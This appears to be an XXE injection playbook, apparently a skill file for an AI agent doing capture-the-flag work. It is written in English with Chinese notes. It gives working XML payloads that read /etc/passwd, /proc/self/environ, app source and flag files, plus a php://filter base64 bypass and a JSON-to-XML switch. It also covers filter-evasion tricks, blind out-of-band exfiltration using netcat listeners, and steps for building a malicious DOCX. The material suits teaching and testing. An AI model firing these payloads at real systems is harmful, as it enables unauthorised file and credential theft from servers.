xxe-injection-methodology

XXE Injection Attack Methodology

In-Depth Reference

• XXE file reading, blind XXE out-of-band exfiltration, SVG/DOCX XXE, SOAP XXE complete payloads → references/xxe-exploitation.md
• XXE advanced techniques (blind injection/OOB/file upload/XInclude/encoding bypass) → references/xxe-advanced.md

---

Phase 1: Discover XXE entry points

• Content-Type: application/xml or text/xml endpoint
• Change the JSON request to XML: even if the endpoint accepts JSON, also try sending XML (many backends support both formats)
• File uploads (DOCX, XLSX, SVG are all XML formats)
• SOAP API (URL contains /ws/、/soap/、/wsdl/）

Phase 2: Basic XXE file reading

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>

Key：&xxe; must be placed in an XML element that will be echoed back!

Common target files

file:///flag.txt
file:///flag
file:///app/flag.txt
file:///etc/passwd
file:///app/app.py
file:///proc/self/environ

Phase 3: Exploitation decision tree

XXE 入口确认
├─ SOAP 端点？ → XXE 必须嵌入 SOAP Envelope！→ [references/xxe-exploitation.md](references/xxe-exploitation.md)
├─ 有回显？ → 直接 ENTITY file:/// 读文件
├─ 无回显？ → 盲 XXE 参数实体 + 外部 DTD 外带
│  └─ 用 bash 运行 `python3 -m http.server` 或 `nc -lvp PORT` 接收 OOB 回调
│  └─ [references/xxe-exploitation.md](references/xxe-exploitation.md)
├─ PHP 目标？ → php://filter/convert.base64-encode 绕过 XML 特殊字符
└─ 文件上传入口？ → SVG/DOCX XXE → [references/xxe-exploitation.md](references/xxe-exploitation.md)

Phase 4: PHP special tricks

PHP files containing < and other special characters will break XML parsing; use php://filter base64 encoding to bypass:

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/app/config.php">

Phase 5: JSON → XML conversion attack

Some backends support both JSON and XML, and the parser automatically selects the format:

Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag.txt">]>
<root><username>&xxe;</username><password>test</password></root>

Even if the documentation says JSON, also try the XML Content-Type, as implicit support may exist.

XXE defense bypass

• <!DOCTYPE> filtered → try UTF-16 encoding
• ENTITY filtered → try parameter entity %xxe;
• SYSTEM filtered → try PUBLIC "x" "file:///flag"

Notes

• XXE inherently includes SSRF：SYSTEM "http://..." is a server-side request
• XML parser differences: Python lxml disables external entities by default; older Java versions enable them by default
• Blind XXE requires an external server: out-of-band exfiltration via parameter entities requires you to control a server to receive the data

---

CTF XXE technique supplement

DOCX/Office XML upload XXE

DOCX is a ZIP containing XML; modify [Content_Types].xml to inject XXE:

unzip template.docx
# 编辑 [Content_Types].xml 添加 DOCTYPE + ENTITY
zip -r exploit.docx . 
# 上传后服务端解析 XML 时触发 XXE

XML injection point expansion

In addition to the regular request body, check these injection points:

• X-Forwarded-For when headers such as these are written into XML logs
• SVG file upload (SVG is XML)
• SOAP/SAML endpoint
• RSS/Atom feed input